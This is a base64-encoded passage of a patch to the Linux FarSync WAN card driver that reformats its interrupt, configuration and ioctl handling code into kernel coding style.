biApCi0gICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKLQotICAgICAgICAgICAgICAg IC8qIENoZWNrIGZvciByeCBjb21wbGV0aW9ucyAqLwotICAgICAgICAgICAgICAgIHdoaWxlICgg ISAoIEZTVF9SREIgKCBjYXJkLCByeERlc2NyUmluZ1twaV1bcG9ydC0+cnhwb3NdLmJpdHMgKQot ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICYgRE1BX09XTiApKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAg ICAgICAgIGZzdF9pbnRyX3J4ICggY2FyZCwgcG9ydCApOwotICAgICAgICAgICAgICAgIH0KLQot ICAgICAgICAgICAgICAgIC8qIENoZWNrIGZvciBUeCBjb21wbGV0aW9ucyAqLwotICAgICAgICAg ICAgICAgIHdoaWxlICggcG9ydC0+dHhjbnQgPiAwICYmICEgKCBGU1RfUkRCICggY2FyZCwKLSAg ICAgICAgICAgICAgICAgICAgICAgIHR4RGVzY3JSaW5nW3BpXVtwb3J0LT50eGlwb3NdLmJpdHMg KSAmIERNQV9PV04gKSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAg ICAtLXBvcnQtPnR4Y250OwotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCArK3BvcnQtPnR4 aXBvcyA+PSBOVU1fVFhfQlVGRkVSICkKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg cG9ydC0+dHhpcG9zID0gMDsKLSAgICAgICAgICAgICAgICAgICAgICAgIG5ldGlmX3dha2VfcXVl dWUgKCBwb3J0X3RvX2RldiAoIHBvcnQgKSk7Ci0gICAgICAgICAgICAgICAgfQotICAgICAgICB9 CisJc3RydWN0IGZzdF9jYXJkX2luZm8gKmNhcmQ7CisJc3RydWN0IGZzdF9wb3J0X2luZm8gKnBv cnQ7CisJaW50IHJkaWR4OwkJLyogRXZlbnQgYnVmZmVyIGluZGljZXMgKi8KKwlpbnQgd3JpZHg7 CisJaW50IGV2ZW50OwkJLyogQWN0dWFsIGV2ZW50IGZvciBwcm9jZXNzaW5nICovCisJdW5zaWdu ZWQgaW50IGRtYV9pbnRjc3IgPSAwOworCXVuc2lnbmVkIGludCBkb19jYXJkX2ludGVycnVwdDsK Kwl1bnNpZ25lZCBpbnQgaW50X3JldHJ5X2NvdW50OworCisJaWYgKChjYXJkID0gZGV2X2lkKSA9 PSBOVUxMKSB7CisJCWRiZyhEQkdfSU5UUiwgImludHI6IHNwdXJpb3VzICVkXG4iLCBpcnEpOwor CQlyZXR1cm47CisJfQogCi0gICAgICAgIHNwaW5fdW5sb2NrICggJmNhcmQtPmNhcmRfbG9jayAp OwotfQorCS8qCisJICogQ2hlY2sgdG8gc2VlIGlm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gbWFya2VyICovCi0gICAgICAgIGlmICggRlNUX1JEVyAoIGNhcmQsIHNtY1ZlcnNpb24gKSAh PSBTTUNfVkVSU0lPTiApCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBwcmludGtfZXJyICgi QmFkIHNoYXJlZCBtZW1vcnkgdmVyc2lvbiAlZCBleHBlY3RlZCAlZFxuIiwKLSAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgRlNUX1JEVyAoIGNhcmQsIHNtY1ZlcnNpb24gKSwgU01DX1ZF UlNJT04gKTsKLSAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9CQURWRVJTSU9OOwot ICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotICAgICAgICBpZiAoIEZTVF9SREwg KCBjYXJkLCBlbmRPZlNtY1NpZ25hdHVyZSApICE9IEVORF9TSUcgKQotICAgICAgICB7Ci0gICAg ICAgICAgICAgICAgcHJpbnRrX2VyciAoIk1pc3Npbmcgc2hhcmVkIG1lbW9yeSBzaWduYXR1cmVc biIpOwotICAgICAgICAgICAgICAgIGNhcmQtPnN0YXRlID0gRlNUX0JBRFZFUlNJT047Ci0gICAg ICAgICAgICAgICAgcmV0dXJuOwotICAgICAgICB9Ci0gICAgICAgIC8qIEZpcm13YXJlIHN0YXR1 cyBmbGFnLCAweDAwID0gaW5pdGlhbGlzaW5nLCAweDAxID0gT0ssIDB4RkYgPSBmYWlsICovCi0g ICAgICAgIGlmICgoIGkgPSBGU1RfUkRCICggY2FyZCwgdGFza1N0YXR1cyApKSA9PSAweDAxICkK LSAgICAgICAgewotICAgICAgICAgICAgICAgIGNhcmQtPnN0YXRlID0gRlNUX1JVTk5JTkc7Ci0g ICAgICAgIH0KLSAgICAgICAgZWxzZSBpZiAoIGkgPT0gMHhGRiApCi0gICAgICAgIHsKLSAgICAg ICAgICAgICAgICBwcmludGtfZXJyICgiRmlybXdhcmUgaW5pdGlhbGlzYXRpb24gZmFpbGVkLiBD YXJkIGhhbHRlZFxuIik7Ci0gICAgICAgICAgICAgICAgY2FyZC0+c3RhdGUgPSBGU1RfSEFMVEVE OwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQotICAgICAgICBlbHNlIGlmICgg aSAhPSAweDAwICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIHByaW50a19lcnIgKCJVbmtu b3duIGZpcm13YXJlIHN0YXR1cyAweCV4XG4iLCBpICk7Ci0gICAgICAgICAgICAgICAgY2FyZC0+ c3RhdGUgPSBGU1RfSEFMVEVEOwotICAgICAgICAgICAgICAgIHJldHVybjsKLSAgICAgICAgfQot Ci0gICAgICAgIC8qIEZpbmFsbHkgY2hlY2sgdGhlIG51bWJlciBvZiBwb3J0cyByZXBvcnRlZCBi eSBmaXJtd2FyZSBhZ2FpbnN0IHRoZQotICAgICAgICAgKiBudW1iZXIgd2UgYXNzdW1lZCBhdCBj YXJkIGRldGVjdGlvbi4gU2hvdWxkIG5ldmVyIGhhcHBlbiB3aXRoCi0gICAgICAgICAqIGV4aXN0 aW5nIGZpcm13YXJlIGV0YyBzbyB3ZSBqdXN0IHJlcG9ydCBpdCBmb3IgdGhlIG1vbWVudC4KLSAg ICAgICAgICovCi0gICAgICAgIGlmICggRlNUX1JETCAoIGNhcmQsIG51bWJlck9mUG9ydHMgKSAh PSBjYXJkLT5ucG9ydHMgKQotICAgICAgICB7Ci0gICAgICAgICAgICAgICAgcHJpbnRrX3dhcm4g KCJQb3J0IGNvdW50IG1pc21hdGNoLiIKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IiBGaXJtd2FyZSB0aGlua3MgJWQgd2Ugc2F5ICVkXG4iLAotICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICBGU1RfUkRMICggY2FyZCwgbnVtYmVyT2ZQb3J0cyApLCBjYXJkLT5ucG9ydHMg KTsKLSAgICAgICAgfQotfQorCS8qIENoZWNrIHN0cnVjdHVyZSB2ZXJzaW9uIGFuZCBlbmQgbW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J5IHRoZSAKKwkgKiBnZW5lcmljIGhkbGMg cGFja2FnZS4KKwkgKi8KKwllcnIgPSAwOworCWlmIChpbmZvLT52YWxpZCAmIEZTVFZBTF9QUk9U TykgeworCQlpZiAoaW5mby0+cHJvdG8gPT0gRlNUX1JBVykKKwkJCXBvcnQtPm1vZGUgPSBGU1Rf UkFXOworCQllbHNlCisJCQlwb3J0LT5tb2RlID0gRlNUX0dFTl9IRExDOworCX0KKworCWlmIChp bmZvLT52YWxpZCAmIEZTVFZBTF9DQUJMRSkKKwkJZXJyID0gLUVJTlZBTDsKIAotICAgICAgICAv KiBTZXQgdGhpbmdzIGFjY29yZGluZyB0byB0aGUgdXNlciBzZXQgdmFsaWQgZmxhZ3MuCi0gICAg ICAgICAqIFNldmVyYWwgb2YgdGhlIG9sZCBvcHRpb25zIGhhdmUgYmVlbiBpbnZhbGlkYXRlZC9y ZXBsYWNlZCBieSB0aGUKLSAgICAgICAgICogZ2VuZXJpYyBIRExDIHBhY2thZ2UuCi0gICAgICAg ICAqLwotICAgICAgICBlcnIgPSAwOwotICAgICAgICBpZiAoIGluZm8tPnZhbGlkICYgRlNUVkFM X1BST1RPICkKLSAgICAgICAgICAgICAgICBlcnIgPSAtRUlOVkFMOwotICAgICAgICBpZiAoIGlu Zm8tPnZhbGlkICYgRlNUVkFMX0NBQkxFICkKLSAgICAgICAgICAgICAgICBlcnIgPSAtRUlOVkFM OwotICAgICAgICBpZiAoIGluZm8tPnZhbGlkICYgRlNUVkFMX1NQRUVEICkKLSAgICAgICAgICAg ICAgICBlcnIgPSAtRUlOVkFMOworCWlmIChpbmZvLT52YWxpZCAmIEZTVFZBTF9TUEVFRCkKKwkJ ZXJyID0gLUVJTlZBTDsKIAotICAgICAgICBpZiAoIGluZm8tPnZhbGlkICYgRlNUVkFMX01PREUg KQotICAgICAgICAgICAgICAgIEZTVF9XUlcgKCBjYXJkLCBjYXJkTW9kZSwgaW5mby0+Y2FyZE1v ZGUgKTsKKwlpZiAoaW5m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pXS5saW5lSW50 ZXJmYWNlLCBYMjEpOworCQlwb3J0LT5od2lmID0gWDIxOworCQlicmVhazsKKworCWNhc2UgSUZf SUZBQ0VfWDIxRDoKKwkJRlNUX1dSVyhjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJbnRlcmZhY2Us IFgyMUQpOworCQlwb3J0LT5od2lmID0gWDIxRDsKKwkJYnJlYWs7CisKKwljYXNlIElGX0lGQUNF X1QxOgorCQlGU1RfV1JXKGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUludGVyZmFjZSwgVDEpOwor CQlwb3J0LT5od2lmID0gVDE7CisJCWJyZWFrOworCisJY2FzZSBJRl9JRkFDRV9FMToKKwkJRlNU X1dSVyhjYXJkLCBwb3J0Q29uZmlnW2ldLmxpbmVJbnRlcmZhY2UsIEUxKTsKKwkJcG9ydC0+aHdp ZiA9IEUxOworCQlicmVhazsKKworCWNhc2UgSUZfSUZBQ0VfU1lOQ19TRVJJQUw6CisJCWJyZWFr OworCisJZGVmYXVsdDoKKwkJcmV0dXJuIC1FSU5WQUw7CisJfQorCisJc3dpdGNoIChzeW5jLmNs b2NrX3R5cGUpIHsKKwljYXNlIENMT0NLX0VYVDoKKwkJRlNUX1dSQihjYXJkLCBwb3J0Q29uZmln W2ldLmludGVybmFsQ2xvY2ssIEVYVENMSyk7CisJCWJyZWFrOworCisJY2FzZSBDTE9DS19JTlQ6 CisJCUZTVF9XUkIoY2FyZCwgcG9ydENvbmZpZ1tpXS5pbnRlcm5hbENsb2NrLCBJTlRDTEspOwor CQlicmVhazsKIAotICAgICAgICBpZiAoY29weV9mcm9tX3VzZXIgKCZzeW5jLCBpZnItPmlmcl9z ZXR0aW5ncy5pZnNfaWZzdS5zeW5jLAotCQkJICAgIHNpemVvZiAoc3luYykpKQotICAgICAgICAg ICAgICAgIHJldHVybiAtRUZBVUxUOwotCi0gICAgICAgIGlmICggc3luYy5sb29wYmFjayApCi0g ICAgICAgICAgICAgICAgcmV0dXJuIC1FSU5WQUw7Ci0KLSAgICAgICAgaSA9IHBvcnQtPmluZGV4 OwotCi0gICAgICAgIHN3aXRjaCAoaWZyLT5pZnJfc2V0dGluZ3MudHlwZSkKLSAgICAgICAgewot ICAgICAgICBjYXNlIElGX0lGQUNFX1YzNToKLSAgICAgICAgICAgICAgICBGU1RfV1JXICggY2Fy ZCwgcG9ydENvbmZpZ1tpXS5saW5lSW50ZXJmYWNlLCBWMzUgKTsKLSAgICAgICAgICAgICAgICBw b3J0LT5od2lmID0gVjM1OwotICAgICAgICAgICAgICAgIGJyZWFrOwotCi0gICAgICAgIGNhc2Ug SUZfSUZBQ0VfVjI0OgotICAgICAgICAgICAgICAgIEZTVF9XUlcgKCBjYXJkLCBwb3J0Q29uZmln W2ldLmxpbmVJbnRlcmZhY2UsIFYyNCApOwotICAgICAgICAgICAgICAgIHBvcnQtPmh3aWYgPSBW MjQ7Ci0gICAgICAgICAgICAgICAgYnJlYWs7Ci0KLSAgICAgICAgY2FzZSBJRl9JRkFDRV9YMjE6 Ci0gICAgICAgICAgICAgICAgRlNUX1dSVyAoIGNhcmQsIHBvcnRDb25maWdbaV0ubGluZUludGVy ZmFjZSwgWDIxICk7Ci0gICAgICAgICAgICAgICAgcG9ydC0+aHdpZiA9IFgyMTsKLSAgICAgICAg ICAgICAgICBicmVhazsKLQotICAgICAgICBjYXNlIElGX0lGQUNFX1NZTkNfU0VSSUFMOgotICAg ICAgICAgICAgICAgIGJyZWFrOwotCi0gICAgICAgIGRlZmF1bHQ6Ci0gICAgICAgICAgICAgICAg cmV0dXJuIC1FSU5WQUw7Ci0gICAgICAgIH0KLQotICAgICAgICBzd2l0Y2ggKCBzeW5jLmNsb2Nr X3R5cGUgKQotICAgICAgICB7Ci0gICAgICAgIGNhc2UgQ0xPQ0tfRVhUOgotICAgICAgICAgICAg ICAgIEZTVF9XUkIgKCBjYXJkLCBwb3J0Q29uZmlnW2ldLmludGVybmFsQ2xvY2ssIEVYVENMSyAp OwotICAgICAgICAgICAgICAgI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V0IGFzIElGX0lGQUNFX1NZTkNfU0VS SUFMIGltcGxpZXMgaXQgY2FuJ3QgYmUKLSAgICAgICAgICogY2hhbmdlZAotICAgICAgICAgKi8K LSAgICAgICAgc3dpdGNoICggcG9ydC0+aHdpZiApCi0gICAgICAgIHsKLSAgICAgICAgY2FzZSBW MzU6Ci0gICAgICAgICAgICAgICAgaWZyLT5pZnJfc2V0dGluZ3MudHlwZSA9IElGX0lGQUNFX1Yz NTsKLSAgICAgICAgICAgICAgICBicmVhazsKLSAgICAgICAgY2FzZSBWMjQ6Ci0gICAgICAgICAg ICAgICAgaWZyLT5pZnJfc2V0dGluZ3MudHlwZSA9IElGX0lGQUNFX1YyNDsKLSAgICAgICAgICAg ICAgICBicmVhazsKLSAgICAgICAgY2FzZSBYMjE6Ci0gICAgICAgIGRlZmF1bHQ6Ci0gICAgICAg ICAgICAgICAgaWZyLT5pZnJfc2V0dGluZ3MudHlwZSA9IElGX0lGQUNFX1gyMTsKLSAgICAgICAg ICAgICAgICBicmVhazsKLSAgICAgICAgfQotCi0JaWYgKGlmci0+aWZyX3NldHRpbmdzLnNpemUg PCBzaXplb2Yoc3luYykpIHsKLQkJaWZyLT5pZnJfc2V0dGluZ3Muc2l6ZSA9IHNpemVvZihzeW5j KTsgLyogZGF0YSBzaXplIHdhbnRlZCAqLwotCQlyZXR1cm4gLUVOT0JVRlM7Ci0JfQotCi0gICAg ICAgIGkgPSBwb3J0LT5pbmRleDsKLSAgICAgICAgc3luYy5jbG9ja19yYXRlID0gRlNUX1JETCAo IGNhcmQsIHBvcnRDb25maWdbaV0ubGluZVNwZWVkICk7Ci0gICAgICAgIC8qIEx1Y2t5IGNhcmQg YW5kIGxpbnV4IHVzZSBzYW1lIGVuY29kaW5nIGhlcmUgKi8KLSAgICAgICAgc3luYy5jbG9ja190 eXBlID0gRlNUX1JEQiAoIGNhcmQsIHBvcnRDb25maWdbaV0uaW50ZXJuYWxDbG9jayApOwotICAg ICAgICBzeW5jLmxvb3BiYW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IGxvbmcgZmxhZ3M7Ci0KLSAgICAgICAgZGJn ICggREJHX0lPQ1RMLCJpb2N0bDogJXgsICVwXG4iLCBjbWQsIGlmci0+aWZyX2RhdGEgKTsKLQot ICAgICAgICBwb3J0ID0gZGV2X3RvX3BvcnQgKCBkZXYgKTsKLSAgICAgICAgY2FyZCA9IHBvcnQt PmNhcmQ7Ci0KLSAgICAgICAgaWYgKCAhY2FwYWJsZSAoIENBUF9ORVRfQURNSU4gKSkKLSAgICAg ICAgICAgICAgICByZXR1cm4gLUVQRVJNOwotCi0gICAgICAgIHN3aXRjaCAoIGNtZCApCi0gICAg ICAgIHsKLSAgICAgICAgY2FzZSBGU1RDUFVSRVNFVDoKLSAgICAgICAgICAgICAgICBmc3RfY3B1 cmVzZXQgKCBjYXJkICk7Ci0gICAgICAgICAgICAgICAgY2FyZC0+c3RhdGUgPSBGU1RfUkVTRVQ7 Ci0gICAgICAgICAgICAgICAgcmV0dXJuIDA7Ci0KLSAgICAgICAgY2FzZSBGU1RDUFVSRUxFQVNF OgotICAgICAgICAgICAgICAgIGZzdF9jcHVyZWxlYXNlICggY2FyZCApOwotICAgICAgICAgICAg ICAgIGNhcmQtPnN0YXRlID0gRlNUX1NUQVJUSU5HOwotICAgICAgICAgICAgICAgIHJldHVybiAw OwotCi0gICAgICAgIGNhc2UgRlNUV1JJVEU6ICAgICAgICAgICAgICAgICAgLyogQ29kZSB3cml0 ZSAoZG93bmxvYWQpICovCi0KLSAgICAgICAgICAgICAgICAvKiBGaXJzdCBjb3B5IGluIHRoZSBo ZWFkZXIgd2l0aCB0aGUgbGVuZ3RoIGFuZCBvZmZzZXQgb2YgZGF0YQotICAgICAgICAgICAgICAg ICAqIHRvIHdyaXRlCi0gICAgICAgICAgICAgICAgICovCi0gICAgICAgICAgICAgICAgaWYgKCBp ZnItPmlmcl9kYXRhID09IE5VTEwgKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAg ICAgICAgICAgIHJldHVybiAtRUlOVkFMOwotICAgICAgICAgICAgICAgIH0KLSAgICAgICAgICAg ICAgICBpZiAoIGNvcHlfZnJvbV91c2VyICggJndydGhkciwgaWZyLT5pZnJfZGF0YSwKLSAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzaXplb2YgKCBzdHJ1Y3QgZnN0aW9j X3dyaXRlICkpKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAgICAgICAgICAgICAgICAgIHJl dHVybiAtRUZBVUxUOwotICAgICAgICAgICAgICAgIH0KLQotICAgICAgICAgICAgICAgIC8qIFNh bml0eSBjaGVjayB0aGUgcGFyYW1ldGVycy4gV2UgZG9uJ3Qgc3VwcG9ydCBwYXJ0aWFsIHdyaXRl cwotICAgICAgICAgICAgICAgICAqIHdoZW4gZ29pbmcgb3ZlciB0aGUgdG9wCi0gICAgICAgICAg ICAgICAgICovCi0gICAgICAgICAgICAgICAgaWYgKCB3cnRoZHIuc2l6ZSA+IEZTVF9NRU1TSVpF IHx8IHdydGhkci5vZmZzZXQgPiBGU1RfTUVNU0laRQotCQkJCXx8IHdydGhkci5zaXplICsgd3J0 aGRyLm9mZnNldCA+IEZTVF9NRU1TSVpFICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAg ICAgICAgICAgICAgICByZXR1cm4gLUVOWElPOwotICAgICAgICAgICAgICAgIH0KLQotICAgICAg ICAgICAgICAgIC8qIE5vdyBjb3B5IHRoZSBkYXRhIHRvIHRoZSBjYXJkLgotICAgICAgICAgICAg ICAgICAqIFRoaXMgd2lsbCBwcm9iYWJseSBicmVhayBvbiBzb21lIGFyY2hpdGVjdHVyZXMuCi0g ICAgICAgICAgICAgICAgICogSSdsbCBmaXggaXQgd2hlbiBJIGhhdmUgc29tZXRoaW5nIHRvIHRl c3Qgb24uCi0gICAgICAgICAgICAgICAgICovCi0gICAgICAgICAgICAgICAgaWYgKCBjb3B5X2Zy b21fdXNlciAoIGNhcmQtPm1lbSArIHdydGhkci5vZmZzZXQsCi0gICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIGlmci0+aWZyX2RhdGEgKyBzaXplb2YgKCBzdHJ1Y3QgZnN0aW9jX3dyaXRl ICksCi0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdydGhkci5zaXplICkpCi0gICAg ICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC1FRkFVTFQ7Ci0g ICAgICAgICAgICAgICAgfQotCi0gICAgICAgICAgICAgICAgLyogV3JpdGVzIHRvIHRoZSBtZW1v cnkgb2YgYSBjYXJkIGluIHRoZSByZXNldCBzdGF0ZSBjb25zdGl0dXRlCi0gICAgICAgICAgICAg ICAgICogYSBkb3dubG9hZAotICAgICAgICAgICAgICAgICAqLwotICAgICAgICAgICAgICAgIGlm ICggY2FyZC0+c3RhdGUgPT0gRlNUX1JFU0VUICkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAg ICAgICAgICAgICAgICAgICBjYXJkLT5zdGF0ZSA9IEZTVF9ET1dOTE9BRDsKLSAgICAgICAgICAg ICAgICB9Ci0gICAgICAgICAgICAgICAgcmV0dXJuIDA7Ci0KLSAgICAgICAgY2FzZSBGU1RHRVRD T05GOgotCi0gICAgICAgICAgICAgICAgLyogSWYgY2FyZCBoYXMganVzdCBiZWVuIHN0YXJ0ZWQg Y2hlY2sgdGhlIHNoYXJlZCBtZW1vcnkgY29uZmlnCi0gICAgICAgICAgICAgICAgICogdmVyc2lv biBhbmQgbWFya2VyCi0gICAgICAgICAgICAgICAgICovCi0gICAgICAgICAgICAgICAgaWYgKCBj YXJkLT5zdGF0ZSA9PSBGU1RfU1RBUlRJTkcgKQotICAgICAgICAgICAgICAgIHsKLSAgICAgICAg ICAgICAgICAgICAgICAgIGNoZWNrX3N0YXJ0ZWRfb2sgKCBjYXJkICk7Ci0KLSAgICAgICAgICAg ICAgICAgICAgICAgIC8qIElmIGV2ZXJ5dGhpbmcgY2hlY2tlZCBvdXQgZW5hYmxlIGNhcmQgaW50 ZXJydXB0cyAqLwotICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCBjYXJkLT5zdGF0ZSA9PSBG U1RfUlVOTklORyApCi0gICAgICAgICAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIHNwaW5fbG9ja19pcnFzYXZlICggJmNhcmQtPmNhcmRfbG9jaywgZmxh Z3MgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnN0X2NsZWFyX2ludHIgKCBj YXJkICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZTVF9XUkIgKCBjYXJkLCBp bnRlcnJ1cHRIYW5kc2hha2UsIDB4RUUgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgc3Bpbl91bmxvY2tfaXJxcmVzdG9yZSAoICZjYXJkLT5jYXJkX2xvY2ssCi0gICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmxh Z3MgKTsKLSAgICAgICAgICAgICAgICAgICAgICAgIH0KLSAgICAgICAgICAgICAgICB9Ci0KLSAg ICAgICAgICAgICAgICBpZiAoIGlmci0+aWZyX2RhdGEgPT0gTlVMTCApCi0gICAgICAgICAgICAg ICAgewotICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIC1FSU5WQUw7Ci0gICAgICAgICAg ICAgICAgfQotCi0gICAgICAgICAgICAgICAgZ2F0aGVyX2NvbmZfaW5mbyAoIGNhcmQsIHBvcnQs ICZpbmZvICk7Ci0KLSAgICAgICAgICAgICAgICBpZiAoIGNvcHlfdG9fdXNlciAoIGlmci0+aWZy X2RhdGEsICZpbmZvLCBzaXplb2YgKCBpbmZvICkpKQotICAgICAgICAgICAgICAgIHsKLSAgICAg ICAgICAgICAgICAgICAgICAgIHJldHVybiAtRUZBVUxUOwotICAgICAgICAgICAgICAgIH0KLSAg ICAgICAgICAgICAgICByZXR1cm4gMDsKLQotICAgICAgICBjYXNlIEZTVFNFVENPTkY6Ci0KLSAg ICAgICAgICAgICAgICAvKiBNb3N0IG9mIHRoZSBzZXR0aW5nIGhhdmUgYmVlbiBtb3ZlZCB0byB0 aGUgZ2VuZXJpYyBpb2N0bHMKLSAgICAgICAgICAgICAgICAgKiB0aGlzIGp1c3QgY292ZXJzIGRl YnVnIGFuZCBib2FyZCBpZGVudCBtb2RlIG5vdwotICAgICAgICAgICAgICAgICAqLwotICAgICAg ICAgICAgICAgIGlmICggY29weV9mcm9tX3VzZXIgKCAmaW5mbywgIGlmci0+aWZyX2RhdGEsIHNp emVvZiAoIGluZm8gKSkpCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAgICAgICAg ICAgcmV0dXJuIC1FRkFVTFQ7Ci0gICAgICAgICAgICAgICAgfQotCi0gICAgICAgICAgICAgICAg cmV0dXJuIHNldF9jb25mX2Zyb21faW5mbyAoIGNhcmQsIHBvcnQsICZpbmZvICk7Ci0KLSAgICAg ICAgY2FzZSBTSU9DV0FOREVWOgotICAgICAgICAgICAgICAgIHN3aXRjaCAoaWZyLT5pZnJfc2V0 dGluZ3MudHlwZSkKLSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgY2FzZSBJRl9H RVRfSUZBQ0U6Ci0gICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZnN0X2dldF9pZmFjZSAo IGNhcmQsIHBvcnQsIGlmciApOwotCi0gICAgICAgICAgICAgICAgY2FzZSBJRl9JRkFDRV9TWU5D X1NFUklBTDoKLSAgICAgICAgICAgICAgICBjYXNlIElGX0lGQUNFX1YzNToKLSAgICAgICAgICAg ICAgICBjYXNlIElGX0lGQUNFX1YyNDoKLSAgICAgICAgICAgICAgICBjYXNlIElGX0lGQUNFX1gy MToKLSAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmc3Rfc2V0X2lmYWNlICggY2FyZCwg cG9ydCwgaWZyICk7Ci0KLSAgICAgICAgICAgICAgICBkZWZhdWx0OgotICAgICAgICAgICAgICAg ICAgICAgICAgcmV0dXJuIGhkbGNfaW9jdGwgKCBkZXYsIGlmciwgY21kICk7Ci0gICAgICAgICAg ICAgICAgfQotCi0gICAgICAgIGRlZmF1bHQ6Ci0gICAgICAgICAgICAgICAgLyogTm90IG9uZSBv ZiBvdXJzLiBQYXNzIHRocm91Z2ggdG8gSERMQyBwYWNrYWdlICovCi0gICAgICAgICAgICAgICAg cmV0dXJuIGhkbGNfaW9jdGwgKCBkZXYsIGlmciwgY21kICk7Ci0gICAgICAgIH0KLX0KLQotCi1z dGF0aWMgdm9pZAotZnN0X29wZW5wb3J0ICggc3RydWN0IGZzdF9wb3J0X2luZm8gKnBvcnQgKQot ewotICAgICAgICBpbnQgc2lnbmFsczsKLQotICAgICAgICAvKiBPbmx5IGluaXQgdGhpbmdzIGlm IGNhcmQgaXMgYWN0dWFsbHkgcnVubmluZy4gVGhpcyBhbGxvd3Mgb3BlbiB0bwotICAgICAgICAg KiBzdWNjZWVkIGZvciBkb3dubG9hZHMgZXRjLgotICAgICAgICAgKi8KLSAgICAgICAgaWYgKCBw b3J0LT5jYXJkLT5zdGF0ZSA9PSBGU1RfUlVOTklORyApCi0gICAgICAgIHsKLSAgICAgICAgICAg ICAgICBpZiAoIHBvcnQtPnJ1biApCi0gICAgICAgICAgICAgICAgewotICAgICAgICAgICAgICAg ICAgICAgICAgZGJnICggREJHX09QRU4sIm9wZW46IGZvdW5kIHBvcnQgYWxyZWFkeSBydW5uaW5n XG4iKTsKLQotICAgICAgICAgICAgICAgICAgICAgICAgZnN0X2lzc3VlX2NtZCAoIHBvcnQsIFNU T1BQT1JUICk7Ci0gICAgICAgICAgICAgICAgICAgICAgICBwb3J0LT5ydW4gPSAwOwotICAgICAg ICAgICAgICAgIH0KLQotICAgICAgICAgICAgICAgIGZzdF9yeF9jb25maWcgKCBwb3J0ICk7Ci0g ICAgICAgICAgICAgICAgZnN0X3R4X2NvbmZpZyAoIHBvcnQgKTsKLSAgICAgICAgICAgICAgICBm c3Rfb3BfcmFpc2UgKCBwb3J0LCBPUFNUU19SVFMgfCBPUFNUU19EVFIgKTsKLQotICAgICAgICAg ICAgICAgIGZzdF9pc3N1ZV9jbWQgKCBwb3J0LCBTVEFSVFBPUlQgKTsKLSAgICAgICAgICAgICAg ICBwb3J0LT5ydW4gPSAxOwotCi0gICAgICAgICAgICAgICAgc2lnbmFscyA9IEZTVF9SREwgKCBw b3J0LT5jYXJkLCB2MjREZWJvdW5jZWRTdHNbcG9ydC0+aW5kZXhdKTsKLSAgICAgICAgICAgICAg ICBpZiAoIHNpZ25hbHMgJiAoKCBwb3J0LT5od2lmID09IFgyMSApID8gSVBTVFNfSU5ESUNBVEUK LSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDog SVBTVFNfRENEICkpCi0gICAgICAgICAgICAgICAgICAgICAgICBuZXRpZl9jYXJyaWVyX29uICgg cG9ydF90b19kZXYgKCBwb3J0ICkpOwotICAgICAgICAgICAgICAgIGVsc2UKLSAgICAgICAgICAg ICAgICAgICAgICAgIG5ldGlmX2NhcnJpZXJfb2ZmICggcG9ydF90b19kZXYgKCBwb3J0ICkpOwot ICAgICAgICB9Ci19Ci0KLXN0YXRpYyB2b2lkCi1mc3RfY2xvc2Vwb3J0ICggc3RydWN0IGZzdF9w b3J0X2luZm8gKnBvcnQgKQotewotICAgICAgICBpZiAoIHBvcnQtPmNhcmQtPnN0YXRlID09IEZT VF9SVU5OSU5HICkKLSAgICAgICAgewotICAgICAgICAgICAgICAgIGlmICggcG9ydC0+cnVuICkK LSAgICAgICAgICAgICAgICB7Ci0gICAgICAgICAgICAgICAgICAgICAgICBwb3J0LT5ydW4gPSAw OwotICAgICAgICAgICAgICAgICAgICAgICAgZnN0X29wX2xvd2VyICggcG9ydCwgT1BTVFNfUlRT IHwgT1BTVFNfRFRSICk7Ci0KLSAgICAgICAgICAgICAgICAgICAgICAgIGZzdF9pc3N1ZV9jbW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cmQg PSBwb3J0LT5jYXJkOwotCi0gICAgICAgIC8qIERyb3AgcGFja2V0IHdpdGggZXJyb3IgaWYgd2Ug ZG9uJ3QgaGF2ZSBjYXJyaWVyICovCi0gICAgICAgIGlmICggISBuZXRpZl9jYXJyaWVyX29rICgg ZGV2ICkpCi0gICAgICAgIHsKLSAgICAgICAgICAgICAgICBkZXZfa2ZyZWVfc2tiICggc2tiICk7 